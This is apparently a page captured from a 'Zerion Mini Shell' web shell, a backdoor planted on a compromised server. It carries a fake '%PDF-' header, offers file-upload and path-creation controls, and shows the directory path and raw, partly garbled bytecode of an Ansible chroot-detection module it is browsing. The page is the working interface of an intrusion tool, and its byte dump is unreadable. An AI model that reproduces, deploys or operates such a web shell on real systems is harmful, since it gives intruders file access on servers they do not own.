%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3.9/site-packages/ansible/module_utils/facts/system/__pycache__/chroot.cpython-39.pyc

a

�)g"�@sbddlmZmZmZeZddlZddlmm	m
Zddlm
Z
ddd�ZGdd�de
�ZdS)	�)�absolute_import�division�print_functionN)�BaseFactCollectorc
Cs�d}tj�dd�rd}n�t�d�}z&t�d�}|j|jkpD|j|jk}Wnlty�d}|dur�|�d�}|r�|dd	dg}|�|�\}}}	d
|vr�d}nd|vr�d
}|j|k}Yn0|S)NZ
debian_chrootFT�/z/proc/1/root/.��statz-fz--format=%TZbtrfs�Zxfs�)	�os�environ�getr�st_ino�st_dev�	ExceptionZget_bin_pathZrun_command)
�module�	is_chrootZmy_rootZ	proc_rootZfs_root_inoZ	stat_path�cmd�rc�out�err�r�L/usr/lib/python3.9/site-packages/ansible/module_utils/facts/system/chroot.pyr
s(


rc@s$eZdZdZedg�Zddd�ZdS)�ChrootFactCollector�chrootrNcCsdt|�iS)Nr)r)�selfrZcollected_factsrrr�collect0szChrootFactCollector.collect)NN)�__name__�
__module__�__qualname__�name�setZ	_fact_idsrrrrrr,s
r)N)Z
__future__rrr�typeZ
__metaclass__rZ"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZ$ansible.module_utils.facts.collectorrrrrrrr�<module>s


Zerion Mini Shell 1.0